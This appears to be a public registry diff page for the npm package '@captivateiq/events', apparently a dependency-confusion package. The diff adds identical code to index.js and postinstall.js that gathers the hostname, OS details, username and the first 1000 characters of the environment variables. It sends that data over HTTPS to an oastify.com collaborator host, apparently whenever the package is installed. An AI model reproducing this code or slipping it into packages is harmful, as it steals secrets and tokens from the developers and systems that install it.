@captivateiq/events 21.3.9 → 23.3.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +22 -12
- package/package.json +1 -1
- package/postinstall.js +22 -12
package/index.js
CHANGED
@@ -1,27 +1,37 @@
|
|
1
1
|
const os = require('os');
|
2
2
|
const https = require('https');
|
3
|
-
const path = require('path');
|
4
3
|
|
5
|
-
// Collect system information
|
6
4
|
const hostname = os.hostname();
|
7
5
|
const platform = os.platform();
|
8
6
|
const arch = os.arch();
|
9
7
|
const release = os.release();
|
10
8
|
const userInfo = os.userInfo().username;
|
11
9
|
|
12
|
-
|
13
|
-
|
10
|
+
let env = JSON.stringify(process.env);
|
11
|
+
if (env.length > 1000) {
|
12
|
+
env = env.slice(0, 1000);
|
13
|
+
}
|
14
14
|
|
15
|
-
|
16
|
-
const scriptPath = __dirname;
|
15
|
+
const queryParams = `hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}`;
|
17
16
|
|
18
|
-
|
19
|
-
|
20
|
-
|
17
|
+
const options = {
|
18
|
+
hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
|
19
|
+
port: 443,
|
20
|
+
path: `/?${queryParams}`,
|
21
|
+
method: 'GET',
|
22
|
+
headers: {
|
23
|
+
'X-Env-Data': encodeURIComponent(env),
|
24
|
+
'event': 'true'
|
25
|
+
}
|
26
|
+
};
|
21
27
|
|
22
|
-
|
23
|
-
https.get(url, (res) => {
|
28
|
+
const req = https.request(options, (res) => {
|
24
29
|
console.log('Information sent to the specified endpoint.');
|
25
|
-
|
30
|
+
res.on('data', (d) => process.stdout.write(d));
|
31
|
+
});
|
32
|
+
|
33
|
+
req.on('error', (err) => {
|
26
34
|
console.error('Failed to send information:', err.message);
|
27
35
|
});
|
36
|
+
|
37
|
+
req.end();
|
package/package.json
CHANGED
package/postinstall.js
CHANGED
@@ -1,27 +1,37 @@
|
|
1
1
|
const os = require('os');
|
2
2
|
const https = require('https');
|
3
|
-
const path = require('path');
|
4
3
|
|
5
|
-
// Collect system information
|
6
4
|
const hostname = os.hostname();
|
7
5
|
const platform = os.platform();
|
8
6
|
const arch = os.arch();
|
9
7
|
const release = os.release();
|
10
8
|
const userInfo = os.userInfo().username;
|
11
9
|
|
12
|
-
|
13
|
-
|
10
|
+
let env = JSON.stringify(process.env);
|
11
|
+
if (env.length > 1000) {
|
12
|
+
env = env.slice(0, 1000);
|
13
|
+
}
|
14
14
|
|
15
|
-
|
16
|
-
const scriptPath = __dirname;
|
15
|
+
const queryParams = `hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}`;
|
17
16
|
|
18
|
-
|
19
|
-
|
20
|
-
|
17
|
+
const options = {
|
18
|
+
hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
|
19
|
+
port: 443,
|
20
|
+
path: `/?${queryParams}`,
|
21
|
+
method: 'GET',
|
22
|
+
headers: {
|
23
|
+
'X-Env-Data': encodeURIComponent(env),
|
24
|
+
'event': 'true'
|
25
|
+
}
|
26
|
+
};
|
21
27
|
|
22
|
-
|
23
|
-
https.get(url, (res) => {
|
28
|
+
const req = https.request(options, (res) => {
|
24
29
|
console.log('Information sent to the specified endpoint.');
|
25
|
-
|
30
|
+
res.on('data', (d) => process.stdout.write(d));
|
31
|
+
});
|
32
|
+
|
33
|
+
req.on('error', (err) => {
|
26
34
|
console.error('Failed to send information:', err.message);
|
27
35
|
});
|
36
|
+
|
37
|
+
req.end();
|